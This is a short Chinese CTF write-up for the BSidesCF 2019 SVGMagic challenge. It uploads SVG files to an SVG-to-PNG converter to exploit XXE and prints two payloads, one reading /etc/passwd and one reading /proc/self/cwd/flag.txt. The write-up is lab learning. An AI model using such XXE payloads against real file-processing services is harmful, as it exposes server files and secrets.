[BSidesCF 2019]SVGMagic 题解


打开题目发现是一个文件上传,显示为SVG到PNG的格式转换。

我们随便上传点其他文件试试,发现一律返回500。看来只能上传SVG。

之前从来没有接触过SVG相关的题目,去了解了下,发现SVG是这样一种神奇的语言

SVG 是一种用于描述二维图形的 XML 标记语言,与位图图像不同,SVG图像以文本形式存储,并且可以缩放到任意大小而不会失真,因为它们基于数学描述而不是像素。

之前一直以为svg是纯正的图片,原来是以文本形式进行存储的。

既然是以文本形式进行存储,且是一种XML标记语言,我们自然而然就联想到XXE漏洞

尝试读取/etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

(不知为何返回500,读取失败

没太搞懂这题的一些细节,上网查找wp发现基本上都是直接读取/proc/self/cwd/flag.txt,猜测可能是因为根目录下没发现,就去当前目录找吧

放一下wp

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

这个题做的很失败,后面多了解下原理,回来详细重写下题解

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [BSidesCF 2019]SVGMagic 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.